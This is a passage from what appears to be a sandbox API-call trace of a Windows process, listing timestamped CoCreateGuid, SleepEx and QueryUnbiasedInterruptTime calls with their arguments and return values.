pguid=0x74df084*(Data1=0xf204b9fd, Data2=0x2734, Data3=0x4d36, Data4=([0]=0xba, [1]=0x28, [2]=0x3a, [3]=0xa, [4]=0xc8, [5]=0x5, [6]=0x41, [7]=0x80))) returned 0x0 [0081.170] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xa7f4360e, Data2=0xf318, Data3=0x48c2, Data4=([0]=0xa6, [1]=0x3a, [2]=0x5d, [3]=0xf, [4]=0x91, [5]=0x13, [6]=0x76, [7]=0x12))) returned 0x0 [0081.170] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x378485fd, Data2=0x4ad8, Data3=0x47d1, Data4=([0]=0xad, [1]=0xb, [2]=0xe2, [3]=0x58, [4]=0xf8, [5]=0x3a, [6]=0xbe, [7]=0x83))) returned 0x0 [0081.171] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xdf6ffcf9, Data2=0x11d8, Data3=0x492a, Data4=([0]=0xa7, [1]=0xaa, [2]=0xe7, [3]=0xd5, [4]=0xd0, [5]=0x2a, [6]=0x49, [7]=0x8e))) returned 0x0 [0081.171] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x304d4bee, Data2=0x52c1, Data3=0x44c2, Data4=([0]=0xa2, [1]=0x33, [2]=0x60, [3]=0x2d, [4]=0x1e, [5]=0x69, [6]=0x31, [7]=0x74))) returned 0x0 [0081.171] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x50606621, Data2=0x717, Data3=0x48c4, Data4=([0]=0x9c, [1]=0x5b, [2]=0xcd, [3]=0xdf, [4]=0x62, [5]=0xd4, [6]=0x23, [7]=0xbb))) returned 0x0 [0081.171] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x85a0e7a0, Data2=0x885c, Data3=0x41a5, Data4=([0]=0x9d, [1]=0x17, [2]=0x9d, [3]=0x4b, [4]=0x3a, [5]=0xd7, [6]=0x42, [7]=0x42))) returned 0x0 [0081.171] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x8eb2dd03, Data2=0xde77, Data3=0x404c, Data4=([0]=0x90, [1]=0x2e, [2]=0x88, [3]=0x4e, [4]=0xe3, [5]=0x4b, [6]=0x1c, [7]=0x7))) returned 0x0 [0081.171] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb38ff376, Data2=0xaa23, Data3=0x495c, Data4=([0]=0x83, [1]=0x40, [2]=0xb2, [3]=0xab, [4]=0xf9, [5]=0xde, [6]=0xcb, [7]=0x5))) returned 0x0 [0081.171] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xed62c483, Data2=0x638f, Data3=0x402f, Data4=([0]=0xa7, [1]=0x33, [2]=0x91, [3]=0x9c, [4]=0xa4, [5]=0x81, [6]=0x3b, [7]=0x10))) returned 0x0 [0081.172] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xea4d05c9, Data2=0x78f3, Data3=0x4e0c, Data4=([0]=0x97, [1]=0x4b, [2]=0xa0, [3]=0xf9, [4]=0x25, [5]=0x8f, [6]=0x2, [7]=0x95))) returned 0x0 [0081.172] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb3b89672, Data2=0x54f9, Data3=0x41cb, Data4=([0]=0xbb, [1]=0xb4, [2]=0xf5, [3]=0x8f, [4]=0x49, [5]=0x31, [6]=0xce, [7]=0x2f))) returned 0x0 [0081.172] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf4feffa6, Data2=0xfc27, Data3=0x4ded, Data4=([0]=0x94, [1]=0xf9, [2]=0x4d, [3]=0x2a, [4]=0x8e, [5]=0x6a, [6]=0x11, [7]=0xf3))) returned 0x0 [0081.172] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6afb04cc, Data2=0xb0c3, Data3=0x4c1d, Data4=([0]=0xa6, [1]=0x6d, [2]=0xa2, [3]=0xb5, [4]=0x4, [5]=0xe2, [6]=0x29, [7]=0x7d))) returned 0x0 [0081.173] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb91aa7cb, Data2=0xcaf7, Data3=0x4825, Data4=([0]=0x99, [1]=0xf6, [2]=0xd0, [3]=0xe3, [4]=0xb5, [5]=0xdb, [6]=0x24, [7]=0xf))) returned 0x0 [0081.173] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x99eae023, Data2=0x7e5b, Data3=0x436a, Data4=([0]=0xa3, [1]=0x12, [2]=0x9b, [3]=0x45, [4]=0xe, [5]=0xa2, [6]=0xe0, [7]=0x67))) returned 0x0 [0081.173] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x36a0f0aa, Data2=0x238e, Data3=0x4ca0, Data4=([0]=0x95, [1]=0xc8, [2]=0x4a, [3]=0x84, [4]=0x1a, [5]=0x26, [6]=0x72, [7]=0x9d))) returned 0x0 [0081.173] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x3b395b83, Data2=0xfb60, Data3=0x4af7, Data4=([0]=0xb3, [1]=0x76, [2]=0x26, [3]=0x6c, [4]=0xad, [5]=0xb9, [6]=0xd8, [7]=0xda))) returned 0x0 [0081.173] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc5e6e96a, Data2=0x38f3, Data3=0x48e9, Data4=([0]=0xa4, [1]=0xf2, [2]=0x83, [3]=0x67, [4]=0x9c, [5]=0x59, [6]=0xbf, [7]=0x2a))) returned 0x0 [0081.173] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc31e0985, Data2=0xcc71, Data3=0x435c, Data4=([0]=0x82, [1]=0xa4, [2]=0xe6, [3]=0xc0, [4]=0x31, [5]=0x85, [6]=0x23, [7]=0x3f))) returned 0x0 [0081.174] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x2b2f6e54, Data2=0x73c6, Data3=0x4765, Data4=([0]=0xa0, [1]=0x4b, [2]=0x44, [3]=0x6d, [4]=0xd7, [5]=0x7e, [6]=0x84, [7]=0xd7))) returned 0x0 [0081.174] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xc7cb2d8f, Data2=0x5b8b, Data3=0x4b85, Data4=([0]=0xaa, [1]=0xbc, [2]=0xb6, [3]=0x85, [4]=0x6f, [5]=0xdb, [6]=0xb4, [7]=0x5f))) returned 0x0 [0081.174] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd60d955, Data2=0x53bd, Data3=0x453a, Data4=([0]=0x9f, [1]=0xc6, [2]=0x2e, [3]=0x4b, [4]=0x29, [5]=0x37, [6]=0x43, [7]=0x98))) returned 0x0 [0081.174] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x96b65cdf, Data2=0xf8be, Data3=0x48ed, Data4=([0]=0x85, [1]=0xf5, [2]=0xcb, [3]=0x96, [4]=0x9e, [5]=0x2f, [6]=0x60, [7]=0x1d))) returned 0x0 [0081.224] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.318] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.354] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.387] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.394] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.397] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.415] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.453] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.454] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.506] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.509] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.515] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.532] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.537] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.603] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.630] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.721] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.817] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.910] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.916] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.199] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.255] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.302] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.306] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.394] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.434] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.483] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.524] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.540] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.614] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.651] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.721] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.799] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0083.926] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.096] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.174] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.400] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.505] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.612] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.675] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.692] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.779] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.820] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.855] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.859] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0084.993] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.003] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.034] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.053] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.076] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.116] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.540] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.784] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.065] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.112] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.159] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.237] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.319] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.519] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.612] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.784] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.097] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.253] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.597] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.646] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.709] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0092.773] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.045] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.154] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0093.340] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.948] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.987] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.152] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.294] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.393] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.574] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.703] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.750] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.855] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.881] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.891] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0095.938] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.325] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.371] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.376] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.460] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.524] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.547] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.551] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.582] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.605] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.634] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.683] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.731] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.803] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.924] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0096.978] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.029] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.085] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.291] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.306] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.348] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.389] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.436] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.743] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.783] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0097.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.021] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.053] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.106] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.135] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.190] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.192] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.281] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.371] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.418] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.465] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.559] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.607] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.658] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0098.718] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.244] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.325] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.460] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.605] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0103.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.064] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.296] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.371] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.417] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.467] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.588] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.750] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0104.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.063] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.150] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.542] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.651] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0105.902] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.003] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.216] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.292] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0106.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.791] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0110.900] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.040] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.390] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.525] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.603] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.681] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0111.931] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.197] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.337] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.384] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.447] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.493] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.746] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.955] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.439] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.579] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x74df568 | out: UnbiasedTime=0x74df568) returned 1 [0113.580] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x74df200 | out: UnbiasedTime=0x74df200) returned 1 [0113.580] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x74df1f0 | out: UnbiasedTime=0x74df1f0) returned 1 [0113.580] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.704] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.140] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.882] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.001] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.205] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.376] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.533] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.649] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.710] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.799] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.989] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.158] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.517] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.626] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.926] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.990] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.030] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.119] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.217] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.236] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.285] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.339] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.428] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.530] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.691] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.022] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.304] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.345] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.537] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.711] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0119.996] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.048] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x74df568 | out: UnbiasedTime=0x74df568) returned 1 [0120.048] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x74df200 | out: UnbiasedTime=0x74df200) returned 1 [0120.048] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x74df1f0 | out: UnbiasedTime=0x74df1f0) returned 1 [0120.049] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.159] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.199] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.244] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.303] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.333] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.355] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.367] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.386] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.449] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.496] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.503] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.514] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.577] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.590] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.639] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.654] SleepEx (dwMilliseconds=0x0, bAlertable=0) 